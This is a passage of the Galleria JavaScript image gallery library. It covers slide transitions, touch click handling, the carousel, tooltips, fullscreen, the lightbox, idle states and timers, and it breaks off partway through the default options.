( params.rewind ? -1 : 1 ) }, to = { left: 0 }; if ( fade ) { from.opacity = 0; to.opacity = 1; } else { from.opacity = 1; } $(params.next).css(from); Utils.animate(params.next, to, { duration: params.speed, complete: (function( elems ) { return function() { complete(); elems.css({ left: 0 }); }; }( $( params.next ).add( params.prev ) )), queue: false, easing: easing }); if (door) { params.rewind = !params.rewind; } if (params.prev) { from = { left: 0 }; to = { left: distance * ( params.rewind ? 1 : -1 ) }; if ( fade ) { from.opacity = 1; to.opacity = 0; } $(params.prev).css(from); Utils.animate(params.prev, to, { duration: params.speed, queue: false, easing: easing, complete: function() { $(this).css('opacity', 0); } }); } }; return { active: false, init: function( effect, params, complete ) { if ( _transitions.effects.hasOwnProperty( effect ) ) { _transitions.effects[ effect ].call( this, params, complete ); } }, effects: { fade: function(params, complete) { $(params.next).css({ opacity: 0, left: 0 }); Utils.animate(params.next, { opacity: 1 },{ duration: params.speed, complete: complete }); if (params.prev) { $(params.prev).css('opacity',1).show(); Utils.animate(params.prev, { opacity: 0 },{ duration: params.speed }); } }, flash: function(params, complete) { $(params.next).css({ opacity: 0, left: 0 }); if (params.prev) { Utils.animate( params.prev, { opacity: 0 },{ duration: params.speed/2, complete: function() { Utils.animate( params.next, { opacity:1 },{ duration: params.speed, complete: complete }); } }); } else { Utils.animate( params.next, { opacity: 1 },{ duration: params.speed, complete: complete }); } }, pulse: function(params, complete) { if (params.prev) { $(params.prev).hide(); } $(params.next).css({ opacity: 0, left: 0 }).show(); Utils.animate(params.next, { opacity:1 },{ duration: params.speed, complete: complete }); }, slide: function(params, complete) { _slide.apply( this, Utils.array( arguments ) ); }, fadeslide: function(params, complete) { _slide.apply( this, Utils.array( arguments ).concat( [true] ) ); }, doorslide: function(params, complete) { _slide.apply( this, Utils.array( arguments ).concat( [false, true] ) ); } } }; }()); // listen to fullscreen _nativeFullscreen.listen(); // create special click:fast event for fast touch interaction $.event.special['click:fast'] = { propagate: true, add: function(handleObj) { var getCoords = function(e) { if ( e.touches && e.touches.length ) { var touch = e.touches[0]; return { x: touch.pageX, y: touch.pageY }; } }; var def = { touched: false, touchdown: false, coords: { x:0, y:0 }, evObj: {} }; $(this).data({ clickstate: def, timer: 0 }).on('touchstart.fast', function(e) { window.clearTimeout($(this).data('timer')); $(this).data('clickstate', { touched: true, touchdown: true, coords: getCoords(e.originalEvent), evObj: e }); }).on('touchmove.fast', function(e) { var coords = getCoords(e.originalEvent), state = $(this).data('clickstate'), distance = Math.max( Math.abs(state.coords.x - coords.x), Math.abs(state.coords.y - coords.y) ); if ( distance > 6 ) { $(this).data('clickstate', $.extend(state, { touchdown: false })); } }).on('touchend.fast', function(e) { var $this = $(this), state = $this.data('clickstate'); if(state.touchdown) { handleObj.handler.call(this, e); } $this.data('timer', window.setTimeout(function() { $this.data('clickstate', def); }, 400)); }).on('click.fast', function(e) { var state = $(this).data('clickstate'); if ( state.touched ) { return false; } $(this).data('clickstate', def); handleObj.handler.call(this, e); }); }, remove: function() { $(this).off('touchstart.fast touchmove.fast touchend.fast click.fast'); } }; /* if ( Galleria.TOUCH ) { $(this).on('touchstart.fast', function start(e) { var ev = e.originalEvent, x, y, dist = 0; if ( ev.touches.length == 1 ) { x = ev.touches[0].pageX; y = ev.touches[0].pageY; $(this).on('touchmove.fast', function(f) { var ft = f.originalEvent.touches; if ( ft.length == 1 ) { dist = M.max( M.abs( x - ft[0].pageX ), M.abs( y - ft[0].pageY ) ); } }); $(this).on('touchend.fast', function() { if( dist > 4 ) { return $(this).off('touchend.fast touchmove.fast'); } handleObj.handler.call(this, e); $(this).off('touchend.fast touchmove.fast'); }); } }); } else { $(this).on('click.fast', handleObj.handler); } }, remove: function(handleObj) { if ( Galleria.TOUCH ) { $(this).off('touchstart.fast touchmove.fast touchend.fast'); } else { $(this).off('click.fast', handleObj.handler); } } }; */ // trigger resize on orientationchange (IOS7) $win.on( 'orientationchange', function() { $(this).resize(); }); /** The main Galleria class @class @constructor @example var gallery = new Galleria(); @author http://aino.se @requires jQuery */ Galleria = function() { var self = this; // internal options this._options = {}; // flag for controlling play/pause this._playing = false; // internal interval for slideshow this._playtime = 5000; // internal variable for the currently active image this._active = null; // the internal queue, arrayified this._queue = { length: 0 }; // the internal data array this._data = []; // the internal dom collection this._dom = {}; // the internal thumbnails array this._thumbnails = []; // the internal layers array this._layers = []; // internal init flag this._initialized = false; // internal firstrun flag this._firstrun = false; // global stagewidth/height this._stageWidth = 0; this._stageHeight = 0; // target holder this._target = undef; // bind hashes this._binds = []; // instance id this._id = parseInt(M.random()*10000, 10); // add some elements var divs = 'container stage images image-nav image-nav-left image-nav-right ' + 'info info-text info-title info-description ' + 'thumbnails thumbnails-list thumbnails-container thumb-nav-left thumb-nav-right ' + 'loader counter tooltip', spans = 'current total'; $.each( divs.split(' '), function( i, elemId ) { self._dom[ elemId ] = Utils.create( 'galleria-' + elemId ); }); $.each( spans.split(' '), function( i, elemId ) { self._dom[ elemId ] = Utils.create( 'galleria-' + elemId, 'span' ); }); // the internal keyboard object // keeps reference of the keybinds and provides helper methods for binding keys var keyboard = this._keyboard = { keys : { 'UP': 38, 'DOWN': 40, 'LEFT': 37, 'RIGHT': 39, 'RETURN': 13, 'ESCAPE': 27, 'BACKSPACE': 8, 'SPACE': 32 }, map : {}, bound: false, press: function(e) { var key = e.keyCode || e.which; if ( key in keyboard.map && typeof keyboard.map[key] === 'function' ) { keyboard.map[key].call(self, e); } }, attach: function(map) { var key, up; for( key in map ) { if ( map.hasOwnProperty( key ) ) { up = key.toUpperCase(); if ( up in keyboard.keys ) { keyboard.map[ keyboard.keys[up] ] = map[key]; } else { keyboard.map[ up ] = map[key]; } } } if ( !keyboard.bound ) { keyboard.bound = true; $doc.on('keydown', keyboard.press); } }, detach: function() { keyboard.bound = false; keyboard.map = {}; $doc.off('keydown', keyboard.press); } }; // internal controls for keeping track of active / inactive images var controls = this._controls = { 0: undef, 1: undef, active : 0, swap : function() { controls.active = controls.active ? 0 : 1; }, getActive : function() { return self._options.swipe ? controls.slides[ self._active ] : controls[ controls.active ]; }, getNext : function() { return self._options.swipe ? controls.slides[ self.getNext( self._active ) ] : controls[ 1 - controls.active ]; }, slides : [], frames: [], layers: [] }; // internal carousel object var carousel = this._carousel = { // shortcuts next: self.$('thumb-nav-right'), prev: self.$('thumb-nav-left'), // cache the width width: 0, // track the current position current: 0, // cache max value max: 0, // save all hooks for each width in an array hooks: [], // update the carousel // you can run this method anytime, f.ex on window.resize update: function() { var w = 0, h = 0, hooks = [0]; $.each( self._thumbnails, function( i, thumb ) { if ( thumb.ready ) { w += thumb.outerWidth || $( thumb.container ).outerWidth( true ); // Due to a bug in jquery, outerwidth() returns the floor of the actual outerwidth, // if the browser is zoom to a value other than 100%. height() returns the floating point value. var containerWidth = $( thumb.container).width(); w += containerWidth - M.floor(containerWidth); hooks[ i+1 ] = w; h = M.max( h, thumb.outerHeight || $( thumb.container).outerHeight( true ) ); } }); self.$( 'thumbnails' ).css({ width: w, height: h }); carousel.max = w; carousel.hooks = hooks; carousel.width = self.$( 'thumbnails-list' ).width(); carousel.setClasses(); self.$( 'thumbnails-container' ).toggleClass( 'galleria-carousel', w > carousel.width ); // one extra calculation carousel.width = self.$( 'thumbnails-list' ).width(); // todo: fix so the carousel moves to the left }, bindControls: function() { var i; carousel.next.on( 'click:fast', function(e) { e.preventDefault(); if ( self._options.carouselSteps === 'auto' ) { for ( i = carousel.current; i < carousel.hooks.length; i++ ) { if ( carousel.hooks[i] - carousel.hooks[ carousel.current ] > carousel.width ) { carousel.set(i - 2); break; } } } else { carousel.set( carousel.current + self._options.carouselSteps); } }); carousel.prev.on( 'click:fast', function(e) { e.preventDefault(); if ( self._options.carouselSteps === 'auto' ) { for ( i = carousel.current; i >= 0; i-- ) { if ( carousel.hooks[ carousel.current ] - carousel.hooks[i] > carousel.width ) { carousel.set( i + 2 ); break; } else if ( i === 0 ) { carousel.set( 0 ); break; } } } else { carousel.set( carousel.current - self._options.carouselSteps ); } }); }, // calculate and set positions set: function( i ) { i = M.max( i, 0 ); while ( carousel.hooks[i - 1] + carousel.width >= carousel.max && i >= 0 ) { i--; } carousel.current = i; carousel.animate(); }, // get the last position getLast: function(i) { return ( i || carousel.current ) - 1; }, // follow the active image follow: function(i) { //don't follow if position fits if ( i === 0 || i === carousel.hooks.length - 2 ) { carousel.set( i ); return; } // calculate last position var last = carousel.current; while( carousel.hooks[last] - carousel.hooks[ carousel.current ] < carousel.width && last <= carousel.hooks.length ) { last ++; } // set position if ( i - 1 < carousel.current ) { carousel.set( i - 1 ); } else if ( i + 2 > last) { carousel.set( i - last + carousel.current + 2 ); } }, // helper for setting disabled classes setClasses: function() { carousel.prev.toggleClass( 'disabled', !carousel.current ); carousel.next.toggleClass( 'disabled', carousel.hooks[ carousel.current ] + carousel.width >= carousel.max ); }, // the animation method animate: function(to) { carousel.setClasses(); var num = carousel.hooks[ carousel.current ] * -1; if ( isNaN( num ) ) { return; } // FF 24 bug self.$( 'thumbnails' ).css('left', function() { return $(this).css('left'); }); Utils.animate(self.get( 'thumbnails' ), { left: num },{ duration: self._options.carouselSpeed, easing: self._options.easing, queue: false }); } }; // tooltip control // added in 1.2 var tooltip = this._tooltip = { initialized : false, open: false, timer: 'tooltip' + self._id, swapTimer: 'swap' + self._id, init: function() { tooltip.initialized = true; var css = '.galleria-tooltip{padding:3px 8px;max-width:50%;background:#ffe;color:#000;z-index:3;position:absolute;font-size:11px;line-height:1.3;' + 'opacity:0;box-shadow:0 0 2px rgba(0,0,0,.4);-moz-box-shadow:0 0 2px rgba(0,0,0,.4);-webkit-box-shadow:0 0 2px rgba(0,0,0,.4);}'; Utils.insertStyleTag( css, 'galleria-tooltip' ); self.$( 'tooltip' ).css({ opacity: 0.8, visibility: 'visible', display: 'none' }); }, // move handler move: function( e ) { var mouseX = self.getMousePosition(e).x, mouseY = self.getMousePosition(e).y, $elem = self.$( 'tooltip' ), x = mouseX, y = mouseY, height = $elem.outerHeight( true ) + 1, width = $elem.outerWidth( true ), limitY = height + 15; var maxX = self.$( 'container' ).width() - width - 2, maxY = self.$( 'container' ).height() - height - 2; if ( !isNaN(x) && !isNaN(y) ) { x += 10; y -= ( height+8 ); x = M.max( 0, M.min( maxX, x ) ); y = M.max( 0, M.min( maxY, y ) ); if( mouseY < limitY ) { y = limitY; } $elem.css({ left: x, top: y }); } }, // bind elements to the tooltip // you can bind multiple elementIDs using { elemID : function } or { elemID : string } // you can also bind single DOM elements using bind(elem, string) bind: function( elem, value ) { // todo: revise if alternative tooltip is needed for mobile devices if (Galleria.TOUCH) { return; } if (! tooltip.initialized ) { tooltip.init(); } var mouseout = function() { self.$( 'container' ).off( 'mousemove', tooltip.move ); self.clearTimer( tooltip.timer ); self.$( 'tooltip' ).stop().animate({ opacity: 0 }, 200, function() { self.$( 'tooltip' ).hide(); self.addTimer( tooltip.swapTimer, function() { tooltip.open = false; }, 1000); }); }; var hover = function( elem, value) { tooltip.define( elem, value ); $( elem ).hover(function() { self.clearTimer( tooltip.swapTimer ); self.$('container').off( 'mousemove', tooltip.move ).on( 'mousemove', tooltip.move ).trigger( 'mousemove' ); tooltip.show( elem ); self.addTimer( tooltip.timer, function() { self.$( 'tooltip' ).stop().show().animate({ opacity: 1 }); tooltip.open = true; }, tooltip.open ? 0 : 500); }, mouseout).click(mouseout); }; if ( typeof value === 'string' ) { hover( ( elem in self._dom ? self.get( elem ) : elem ), value ); } else { // asume elemID here $.each( elem, function( elemID, val ) { hover( self.get(elemID), val ); }); } }, show: function( elem ) { elem = $( elem in self._dom ? self.get(elem) : elem ); var text = elem.data( 'tt' ), mouseup = function( e ) { // attach a tiny settimeout to make sure the new tooltip is filled window.setTimeout( (function( ev ) { return function() { tooltip.move( ev ); }; }( e )), 10); elem.off( 'mouseup', mouseup ); }; text = typeof text === 'function' ? text() : text; if ( ! text ) { return; } self.$( 'tooltip' ).html( text.replace(/\s/, '&#160;') ); // trigger mousemove on mouseup in case of click elem.on( 'mouseup', mouseup ); }, define: function( elem, value ) { // we store functions, not strings if (typeof value !== 'function') { var s = value; value = function() { return s; }; } elem = $( elem in self._dom ? self.get(elem) : elem ).data('tt', value); tooltip.show( elem ); } }; // internal fullscreen control var fullscreen = this._fullscreen = { scrolled: 0, crop: undef, active: false, prev: $(), beforeEnter: function(fn){ fn(); }, beforeExit: function(fn){ fn(); }, keymap: self._keyboard.map, parseCallback: function( callback, enter ) { return _transitions.active ? function() { if ( typeof callback == 'function' ) { callback.call(self); } var active = self._controls.getActive(), next = self._controls.getNext(); self._scaleImage( next ); self._scaleImage( active ); if ( enter && self._options.trueFullscreen ) { // Firefox bug, revise later $( active.container ).add( next.container ).trigger( 'transitionend' ); } } : callback; }, enter: function( callback ) { fullscreen.beforeEnter(function() { callback = fullscreen.parseCallback( callback, true ); if ( self._options.trueFullscreen && _nativeFullscreen.support ) { // do some stuff prior animation for wmoother transitions fullscreen.active = true; Utils.forceStyles( self.get('container'), { width: '100%', height: '100%' }); self.rescale(); if ( Galleria.MAC ) { if ( !( Galleria.SAFARI && /version\/[1-5]/.test(NAV)) ) { self.$('container').css('opacity', 0).addClass('fullscreen'); window.setTimeout(function() { fullscreen.scale(); self.$('container').css('opacity', 1); }, 50); } else { self.$('stage').css('opacity', 0); window.setTimeout(function() { fullscreen.scale(); self.$('stage').css('opacity', 1); },4); } } else { self.$('container').addClass('fullscreen'); } $win.resize( fullscreen.scale ); _nativeFullscreen.enter( self, callback, self.get('container') ); } else { fullscreen.scrolled = $win.scrollTop(); if( !Galleria.TOUCH ) { window.scrollTo(0, 0); } fullscreen._enter( callback ); } }); }, _enter: function( callback ) { fullscreen.active = true; if ( IFRAME ) { fullscreen.iframe = (function() { var elem, refer = doc.referrer, test = doc.createElement('a'), loc = window.location; test.href = refer; if( test.protocol != loc.protocol || test.hostname != loc.hostname || test.port != loc.port ) { Galleria.raise('Parent fullscreen not available. Iframe protocol, domains and ports must match.'); return false; } fullscreen.pd = window.parent.document; $( fullscreen.pd ).find('iframe').each(function() { var idoc = this.contentDocument || this.contentWindow.document; if ( idoc === doc ) { elem = this; return false; } }); return elem; }()); } // hide the image until rescale is complete Utils.hide( self.getActiveImage() ); if ( IFRAME && fullscreen.iframe ) { fullscreen.iframe.scrolled = $( window.parent ).scrollTop(); window.parent.scrollTo(0, 0); } var data = self.getData(), options = self._options, inBrowser = !self._options.trueFullscreen || !_nativeFullscreen.support, htmlbody = { height: '100%', overflow: 'hidden', margin:0, padding:0 }; if (inBrowser) { self.$('container').addClass('fullscreen'); fullscreen.prev = self.$('container').prev(); if ( !fullscreen.prev.length ) { fullscreen.parent = self.$( 'container' ).parent(); } // move self.$( 'container' ).appendTo( 'body' ); // begin styleforce Utils.forceStyles(self.get('container'), { position: Galleria.TOUCH ? 'absolute' : 'fixed', top: 0, left: 0, width: '100%', height: '100%', zIndex: 10000 }); Utils.forceStyles( DOM().html, htmlbody ); Utils.forceStyles( DOM().body, htmlbody ); } if ( IFRAME && fullscreen.iframe ) { Utils.forceStyles( fullscreen.pd.documentElement, htmlbody ); Utils.forceStyles( fullscreen.pd.body, htmlbody ); Utils.forceStyles( fullscreen.iframe, $.extend( htmlbody, { width: '100%', height: '100%', top: 0, left: 0, position: 'fixed', zIndex: 10000, border: 'none' })); } // temporarily attach some keys // save the old ones first in a cloned object fullscreen.keymap = $.extend({}, self._keyboard.map); self.attachKeyboard({ escape: self.exitFullscreen, right: self.next, left: self.prev }); // temporarily save the crop fullscreen.crop = options.imageCrop; // set fullscreen options if ( options.fullscreenCrop != undef ) { options.imageCrop = options.fullscreenCrop; } // swap to big image if it's different from the display image if ( data && data.big && data.image !== data.big ) { var big = new Galleria.Picture(), cached = big.isCached( data.big ), index = self.getIndex(), thumb = self._thumbnails[ index ]; self.trigger( { type: Galleria.LOADSTART, cached: cached, rewind: false, index: index, imageTarget: self.getActiveImage(), thumbTarget: thumb, galleriaData: data }); big.load( data.big, function( big ) { self._scaleImage( big, { complete: function( big ) { self.trigger({ type: Galleria.LOADFINISH, cached: cached, index: index, rewind: false, imageTarget: big.image, thumbTarget: thumb }); var image = self._controls.getActive().image; if ( image ) { $( image ).width( big.image.width ).height( big.image.height ) .attr( 'style', $( big.image ).attr('style') ) .attr( 'src', big.image.src ); } } }); }); var n = self.getNext(index), p = new Galleria.Picture(), ndata = self.getData( n ); p.preload( self.isFullscreen() && ndata.big ? ndata.big : ndata.image ); } // init the first rescale and attach callbacks self.rescale(function() { self.addTimer(false, function() { // show the image after 50 ms if ( inBrowser ) { Utils.show( self.getActiveImage() ); } if (typeof callback === 'function') { callback.call( self ); } self.rescale(); }, 100); self.trigger( Galleria.FULLSCREEN_ENTER ); }); if ( !inBrowser ) { Utils.show( self.getActiveImage() ); } else { $win.resize( fullscreen.scale ); } }, scale : function() { self.rescale(); }, exit: function( callback ) { fullscreen.beforeExit(function() { callback = fullscreen.parseCallback( callback ); if ( self._options.trueFullscreen && _nativeFullscreen.support ) { _nativeFullscreen.exit( callback ); } else { fullscreen._exit( callback ); } }); }, _exit: function( callback ) { fullscreen.active = false; var inBrowser = !self._options.trueFullscreen || !_nativeFullscreen.support, $container = self.$( 'container' ).removeClass( 'fullscreen' ); // move back if ( fullscreen.parent ) { fullscreen.parent.prepend( $container ); } else { $container.insertAfter( fullscreen.prev ); } if ( inBrowser ) { Utils.hide( self.getActiveImage() ); // revert all styles Utils.revertStyles( self.get('container'), DOM().html, DOM().body ); // scroll back if( !Galleria.TOUCH ) { window.scrollTo(0, fullscreen.scrolled); } // reload iframe src manually var frame = self._controls.frames[ self._controls.active ]; if ( frame && frame.image ) { frame.image.src = frame.image.src; } } if ( IFRAME && fullscreen.iframe ) { Utils.revertStyles( fullscreen.pd.documentElement, fullscreen.pd.body, fullscreen.iframe ); if ( fullscreen.iframe.scrolled ) { window.parent.scrollTo(0, fullscreen.iframe.scrolled ); } } // detach all keyboard events and apply the old keymap self.detachKeyboard(); self.attachKeyboard( fullscreen.keymap ); // bring back cached options self._options.imageCrop = fullscreen.crop; // return to original image var big = self.getData().big, image = self._controls.getActive().image; if ( !self.getData().iframe && image && big && big == image.src ) { window.setTimeout(function(src) { return function() { image.src = src; }; }( self.getData().image ), 1 ); } self.rescale(function() { self.addTimer(false, function() { // show the image after 50 ms if ( inBrowser ) { Utils.show( self.getActiveImage() ); } if ( typeof callback === 'function' ) { callback.call( self ); } $win.trigger( 'resize' ); }, 50); self.trigger( Galleria.FULLSCREEN_EXIT ); }); $win.off('resize', fullscreen.scale); } }; // the internal idle object for controlling idle states var idle = this._idle = { trunk: [], bound: false, active: false, add: function(elem, to, from, hide) { if ( !elem || Galleria.TOUCH ) { return; } if (!idle.bound) { idle.addEvent(); } elem = $(elem); if ( typeof from == 'boolean' ) { hide = from; from = {}; } from = from || {}; var extract = {}, style; for ( style in to ) { if ( to.hasOwnProperty( style ) ) { extract[ style ] = elem.css( style ); } } elem.data('idle', { from: $.extend( extract, from ), to: to, complete: true, busy: false }); if ( !hide ) { idle.addTimer(); } else { elem.css( to ); } idle.trunk.push(elem); }, remove: function(elem) { elem = $(elem); $.each(idle.trunk, function(i, el) { if ( el && el.length && !el.not(elem).length ) { elem.css( elem.data( 'idle' ).from ); idle.trunk.splice(i, 1); } }); if (!idle.trunk.length) { idle.removeEvent(); self.clearTimer( idle.timer ); } }, addEvent : function() { idle.bound = true; self.$('container').on( 'mousemove click', idle.showAll ); if ( self._options.idleMode == 'hover' ) { self.$('container').on( 'mouseleave', idle.hide ); } }, removeEvent : function() { idle.bound = false; self.$('container').on( 'mousemove click', idle.showAll ); if ( self._options.idleMode == 'hover' ) { self.$('container').off( 'mouseleave', idle.hide ); } }, addTimer : function() { if( self._options.idleMode == 'hover' ) { return; } self.addTimer( 'idle', function() { idle.hide(); }, self._options.idleTime ); }, hide : function() { if ( !self._options.idleMode || self.getIndex() === false ) { return; } self.trigger( Galleria.IDLE_ENTER ); var len = idle.trunk.length; $.each( idle.trunk, function(i, elem) { var data = elem.data('idle'); if (! data) { return; } elem.data('idle').complete = false; Utils.animate( elem, data.to, { duration: self._options.idleSpeed, complete: function() { if ( i == len-1 ) { idle.active = false; } } }); }); }, showAll : function() { self.clearTimer( 'idle' ); $.each( idle.trunk, function( i, elem ) { idle.show( elem ); }); }, show: function(elem) { var data = elem.data('idle'); if ( !idle.active || ( !data.busy && !data.complete ) ) { data.busy = true; self.trigger( Galleria.IDLE_EXIT ); self.clearTimer( 'idle' ); Utils.animate( elem, data.from, { duration: self._options.idleSpeed/2, complete: function() { idle.active = true; $(elem).data('idle').busy = false; $(elem).data('idle').complete = true; } }); } idle.addTimer(); } }; // internal lightbox object // creates a predesigned lightbox for simple popups of images in galleria var lightbox = this._lightbox = { width : 0, height : 0, initialized : false, active : null, image : null, elems : {}, keymap: false, init : function() { if ( lightbox.initialized ) { return; } lightbox.initialized = true; // create some elements to work with var elems = 'overlay box content shadow title info close prevholder prev nextholder next counter image', el = {}, op = self._options, css = '', abs = 'position:absolute;', prefix = 'lightbox-', cssMap = { overlay: 'position:fixed;display:none;opacity:'+op.overlayOpacity+';filter:alpha(opacity='+(op.overlayOpacity*100)+ ');top:0;left:0;width:100%;height:100%;background:'+op.overlayBackground+';z-index:99990', box: 'position:fixed;display:none;width:400px;height:400px;top:50%;left:50%;margin-top:-200px;margin-left:-200px;z-index:99991', shadow: abs+'background:#000;width:100%;height:100%;', content: abs+'background-color:#fff;top:10px;left:10px;right:10px;bottom:10px;overflow:hidden', info: abs+'bottom:10px;left:10px;right:10px;color:#444;font:11px/13px arial,sans-serif;height:13px', close: abs+'top:10px;right:10px;height:20px;width:20px;background:#fff;text-align:center;cursor:pointer;color:#444;font:16px/22px arial,sans-serif;z-index:99999', image: abs+'top:10px;left:10px;right:10px;bottom:30px;overflow:hidden;display:block;', prevholder: abs+'width:50%;top:0;bottom:40px;cursor:pointer;', nextholder: abs+'width:50%;top:0;bottom:40px;right:-1px;cursor:pointer;', prev: abs+'top:50%;margin-top:-20px;height:40px;width:30px;background:#fff;left:20px;display:none;text-align:center;color:#000;font:bold 16px/36px arial,sans-serif', next: abs+'top:50%;margin-top:-20px;height:40px;width:30px;background:#fff;right:20px;left:auto;display:none;font:bold 16px/36px arial,sans-serif;text-align:center;color:#000', title: 'float:left', counter: 'float:right;margin-left:8px;' }, hover = function(elem) { return elem.hover( function() { $(this).css( 'color', '#bbb' ); }, function() { $(this).css( 'color', '#444' ); } ); }, appends = {}; // fix for navigation hovers transparent background event "feature" var exs = ''; if ( IE > 7 ) { exs = IE < 9 ? 'background:#000;filter:alpha(opacity=0);' : 'background:rgba(0,0,0,0);'; } else { exs = 'z-index:99999'; } cssMap.nextholder += exs; cssMap.prevholder += exs; // create and insert CSS $.each(cssMap, function( key, value ) { css += '.galleria-'+prefix+key+'{'+value+'}'; }); css += '.galleria-'+prefix+'box.iframe .galleria-'+prefix+'prevholder,'+ '.galleria-'+prefix+'box.iframe .galleria-'+prefix+'nextholder{'+ 'width:100px;height:100px;top:50%;margin-top:-70px}'; Utils.insertStyleTag( css, 'galleria-lightbox' ); // create the elements $.each(elems.split(' '), function( i, elemId ) { self.addElement( 'lightbox-' + elemId ); el[ elemId ] = lightbox.elems[ elemId ] = self.get( 'lightbox-' + elemId ); }); // initiate the image lightbox.image = new Galleria.Picture(); // append the elements $.each({ box: 'shadow content close prevholder nextholder', info: 'title counter', content: 'info image', prevholder: 'prev', nextholder: 'next' }, function( key, val ) { var arr = []; $.each( val.split(' '), function( i, prop ) { arr.push( prefix + prop ); }); appends[ prefix+key ] = arr; }); self.append( appends ); $( el.image ).append( lightbox.image.container ); $( DOM().body ).append( el.overlay, el.box ); // add the prev/next nav and bind some controls hover( $( el.close ).on( 'click:fast', lightbox.hide ).html('&#215;') ); $.each( ['Prev','Next'], function(i, dir) { var $d = $( el[ dir.toLowerCase() ] ).html( /v/.test( dir ) ? '&#8249;&#160;' : '&#160;&#8250;' ), $e = $( el[ dir.toLowerCase()+'holder'] ); $e.on( 'click:fast', function() { lightbox[ 'show' + dir ](); }); // IE7 and touch devices will simply show the nav if ( IE < 8 || Galleria.TOUCH ) { $d.show(); return; } $e.hover( function() { $d.show(); }, function(e) { $d.stop().fadeOut( 200 ); }); }); $( el.overlay ).on( 'click:fast', lightbox.hide ); // the lightbox animation is slow on ipad if ( Galleria.IPAD ) { self._options.lightboxTransitionSpeed = 0; } }, rescale: function(event) { // calculate var width = M.min( $win.width()-40, lightbox.width ), height = M.min( $win.height()-60, lightbox.height ), ratio = M.min( width / lightbox.width, height / lightbox.height ), destWidth = M.round( lightbox.width * ratio ) + 40, destHeight = M.round( lightbox.height * ratio ) + 60, to = { width: destWidth, height: destHeight, 'margin-top': M.ceil( destHeight / 2 ) *- 1, 'margin-left': M.ceil( destWidth / 2 ) *- 1 }; // if rescale event, don't animate if ( event ) { $( lightbox.elems.box ).css( to ); } else { $( lightbox.elems.box ).animate( to, { duration: self._options.lightboxTransitionSpeed, easing: self._options.easing, complete: function() { var image = lightbox.image, speed = self._options.lightboxFadeSpeed; self.trigger({ type: Galleria.LIGHTBOX_IMAGE, imageTarget: image.image }); $( image.container ).show(); $( image.image ).animate({ opacity: 1 }, speed); Utils.show( lightbox.elems.info, speed ); } }); } }, hide: function() { // remove the image lightbox.image.image = null; $win.off('resize', lightbox.rescale); $( lightbox.elems.box ).hide().find( 'iframe' ).remove(); Utils.hide( lightbox.elems.info ); self.detachKeyboard(); self.attachKeyboard( lightbox.keymap ); lightbox.keymap = false; Utils.hide( lightbox.elems.overlay, 200, function() { $( this ).hide().css( 'opacity', self._options.overlayOpacity ); self.trigger( Galleria.LIGHTBOX_CLOSE ); }); }, showNext: function() { lightbox.show( self.getNext( lightbox.active ) ); }, showPrev: function() { lightbox.show( self.getPrev( lightbox.active ) ); }, show: function(index) { lightbox.active = index = typeof index === 'number' ? index : self.getIndex() || 0; if ( !lightbox.initialized ) { lightbox.init(); } // trigger the event self.trigger( Galleria.LIGHTBOX_OPEN ); // temporarily attach some keys // save the old ones first in a cloned object if ( !lightbox.keymap ) { lightbox.keymap = $.extend({}, self._keyboard.map); self.attachKeyboard({ escape: lightbox.hide, right: lightbox.showNext, left: lightbox.showPrev }); } $win.off('resize', lightbox.rescale ); var data = self.getData(index), total = self.getDataLength(), n = self.getNext( index ), ndata, p, i; Utils.hide( lightbox.elems.info ); try { for ( i = self._options.preload; i > 0; i-- ) { p = new Galleria.Picture(); ndata = self.getData( n ); p.preload( ndata.big ? ndata.big : ndata.image ); n = self.getNext( n ); } } catch(e) {} lightbox.image.isIframe = ( data.iframe && !data.image ); $( lightbox.elems.box ).toggleClass( 'iframe', lightbox.image.isIframe ); $( lightbox.image.container ).find( '.galleria-videoicon' ).remove(); lightbox.image.load( data.big || data.image || data.iframe, function( image ) { if ( image.isIframe ) { var cw = $(window).width(), ch = $(window).height(); if ( image.video && self._options.maxVideoSize ) { var r = M.min( self._options.maxVideoSize/cw, self._options.maxVideoSize/ch ); if ( r < 1 ) { cw *= r; ch *= r; } } lightbox.width = cw; lightbox.height = ch; } else { lightbox.width = image.original.width; lightbox.height = image.original.height; } $( image.image ).css({ width: image.isIframe ? '100%' : '100.1%', height: image.isIframe ? '100%' : '100.1%', top: 0, bottom: 0, zIndex: 99998, opacity: 0, visibility: 'visible' }).parent().height('100%'); lightbox.elems.title.innerHTML = data.title || ''; lightbox.elems.counter.innerHTML = (index + 1) + ' / ' + total; $win.resize( lightbox.rescale ); lightbox.rescale(); if( data.image && data.iframe ) { $( lightbox.elems.box ).addClass('iframe'); if ( data.video ) { var $icon = _playIcon( image.container ).hide(); window.setTimeout(function() { $icon.fadeIn(200); }, 200); } $( image.image ).css( 'cursor', 'pointer' ).mouseup((function(data, image) { return function(e) { $( lightbox.image.container ).find( '.galleria-videoicon' ).remove(); e.preventDefault(); image.isIframe = true; image.load( data.iframe + ( data.video ? '&autoplay=1' : '' ), { width: '100%', height: IE < 8 ? $( lightbox.image.container ).height() : '100%' }); }; }(data, image))); } }); $( lightbox.elems.overlay ).show().css( 'visibility', 'visible' ); $( lightbox.elems.box ).show(); } }; // the internal timeouts object // provides helper methods for controlling timeouts var _timer = this._timer = { trunk: {}, add: function( id, fn, delay, loop ) { id = id || new Date().getTime(); loop = loop || false; this.clear( id ); if ( loop ) { var old = fn; fn = function() { old(); _timer.add( id, fn, delay ); }; } this.trunk[ id ] = window.setTimeout( fn, delay ); }, clear: function( id ) { var del = function( i ) { window.clearTimeout( this.trunk[ i ] ); delete this.trunk[ i ]; }, i; if ( !!id && id in this.trunk ) { del.call( this, id ); } else if ( typeof id === 'undefined' ) { for ( i in this.trunk ) { if ( this.trunk.hasOwnProperty( i ) ) { del.call( this, i ); } } } } }; return this; }; // end Galleria constructor Galleria.prototype = { // bring back the constructor reference constructor: Galleria, /** Use this function to initialize the gallery and start loading. Should only be called once per instance. @param {HTMLElement} target The target element @param {Object} options The gallery options @returns Instance */ init: function( target, options ) { options = _legacyOptions( options ); // save the original ingredients this._original = { target: target, options: options, data: null }; // save the target here this._target = this._dom.target = target.nodeName ? target : $( target ).get(0); // save the original content for destruction this._original.html = this._target.innerHTML; // push the instance _instances.push( this ); // raise error if no target is detected if ( !this._target ) { Galleria.raise('Target not found', true); return; } // apply options this._options = { autoplay: false, carousel: true, carouselFollow: true, // legacy, deprecate at 1.3 carouselSpeed: 400, carouselSteps: 'auto', clicknext: false, dailymotion: { foreground: '%23EEEEEE', highlight: '%235BCEC5', background: '%23222222', logo: 0, hideInfos: 1 }, dataConfig : function( elem ) { return {}; }, dataSelector: 'img', dataSort: false, dataSource: this._target, debug: undef, dummy: undef, // 1.2.5 easing: 